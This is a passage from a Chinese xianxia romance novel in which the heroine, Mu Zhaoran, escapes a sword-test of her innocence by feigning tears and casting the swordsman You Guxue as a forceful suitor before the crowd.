游辜雪身姿如玉,修长挺拔,就这么强势地挡在她身前,他一定是听到了她的心跳声,所以将行天剑又往她递去三分,不依不饶道:“行天剑只刺魑魅魍魉,不伤无辜之人,慕师妹何必紧张?” 她不紧张,她不紧张才怪! 慕昭然前世可是罪碑上赫赫有名的失道者,在天道和世人眼中,可一点都不无辜。 眼见游辜雪眼中的怀疑越来越盛,慕昭然咽了咽唾沫,被逼抬起手来,伸出纤细的手指,缓慢地往那锋锐的剑刃探去。 她能感觉到游辜雪的视线,紧紧地锁定在她的指尖上,几乎要将她的指尖灼得烧起来。 慕昭然已经能想象到,当她的指尖落在剑刃上时,那剑上的雷光会如何击溃她的皮肤,击穿她的魂魄,在她身上也留下纵横的丑陋疤痕。 就在这时,激烈碰撞剑光结界的落沙声霎时一停,四周席卷的黄沙散开,重新露出外界的晴天碧树,和五行台上狼狈的众人。 这一处隔绝的空间骤然被打破,慕昭然重见天日,指尖一颤,倏地将手指缩回袖口内,再抬眸时眼中已蕴了一汪盈盈泪意,委屈得叫人心疼。 “我听闻剑修的本命剑乃是与神魂相通,除了至亲道侣,轻易不会让旁人触碰,游师兄为何要让我摸你的剑,这难道也是五行台的测验之一?” 四周忙着掸落身上黄沙的人,听见这句话,一时间全都停下了动作,同时往五行台上看去,这一看正好将那边的场景尽收眼底。 只见一道剑光结界倒扣在混沌石台上,游辜雪就站在石台边缘,将南荣圣女阻挡在他高挑的身形和混沌石之间,手上握着出鞘的行天剑,强势地横在慕昭然面前,将雪亮的剑刃往她身前送。 这全然就是一副要霸王硬上弓的姿态啊! 看样子那位南荣圣女被吓得不轻,眼睫上的泪将落未落,一脸坚贞不渝地说道:“游师兄,师妹心中早已有了钟情之人,除了他的剑,我不会再摸旁人的剑。” 钟情之人。 游辜雪在心里咀嚼了一遍这四个字,嚼碎了再吞进胸腔那一口熔浆里,面上霜雪未变,表情不见半分波澜,只行天剑上“啪”地一响,剑刃上窜过一条凶戾的电弧。 慕昭然浑身一凛,惊落了眼睫泪珠,忍不住往后退去半步,细眉微颦,怯声道:“请师兄别再为难我了。” 台下众人见此情此景,无不心生怜惜,对那霸王硬上弓之人自然愤愤。 土宫好不容易来了这么一株天选的好苗子,哪里忍见她受这等强迫,立即有夫子上前,一掌劈在游辜雪落下的剑光结界上,大骂道:“游辜雪你要做什么!还不快撤了结界?” “游辜雪你要是敢乱来,小心老夫告去剑尊面前!” 也有人好言劝导:“行天君你糊涂啊,圣女殿下今日才第一天入天道宫,你们才第一次见面,感情什么的以后慢慢培养嘛,哪里能强买强卖?还不快收了剑?” 南境同来的几人也在旁求情,叶凌烟满怀担忧地唤着她“殿下”,容停觉拱手行礼,朝游辜雪道:“请行天剑君勿要伤了我们殿下。” 宁衰站在那里,顶着满头满身的黄沙,震惊的视线在他们身上来回打转,“圣女,行天剑君……” 四周吵吵嚷嚷,游辜雪充耳不闻,目光从她颊边泪痕上扫过,翻手挽了个剑花,将行天剑收入鞘中,随即撤开结界,目不斜视地大步穿过议论纷纷的人群,从五行台上离开了。 慕昭然唇角轻轻地翘了翘,抬手拭去眼角湿润。 想要我摸你的剑,下辈子吧!